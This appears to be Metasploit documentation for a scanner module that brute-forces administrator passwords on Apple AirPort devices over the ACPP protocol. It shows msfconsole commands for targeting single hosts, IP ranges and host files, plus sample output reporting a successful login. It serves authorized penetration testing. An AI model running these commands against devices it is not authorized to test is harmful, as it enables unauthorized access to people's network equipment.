Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/acpp/login
msf auxiliary(login) > show options
    ... show and set options ...
msf auxiliary(login) > set RHOSTS ip-range
msf auxiliary(login) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(login) > set RHOSTS 192.168.1.3-192.168.1.200

Example 2:

msf auxiliary(login) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(login) > set RHOSTS file:/tmp/ip_list.txt

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Vulnerable Application

ACPP is an undocumented and proprietary Apple protocol found in Airport products which protects the credentials used to administer the device. This module attempts exploit a weak encryption mechanism (fixed XOR key) by brute forcing the password via a dictionary attack or specific password.

More information can be found on the Rapid7 Vulnerability & Exploit Database page

Verification Steps

  1. Start msfconsole
  2. Do: use auxiliary/scanner/acpp/login
  3. Do: set RHOSTS [ip]
  4. Do: run

Scenarios

Apple AirPort Extreme 802.11g

  msf > use auxiliary/scanner/acpp/login
  msf auxiliary(scanner/acpp/login) > show options
  msf auxiliary(scanner/acpp/login) > set RHOSTS 1.1.1.1
      RHOSTS => 1.1.1.1
  msf auxiliary(scanner/acpp/login) > set PASSWORD myPassword
      PASSWORD => myPassword
  msf auxiliary(scanner/acpp/login) > run
    [*] 1.1.1.1:5009 - 1.1.1.1:5009 - Starting ACPP login sweep
    [*] 1.1.1.1:5009 - 1.1.1.1:5009 - ACPP Login Successful: myPassword
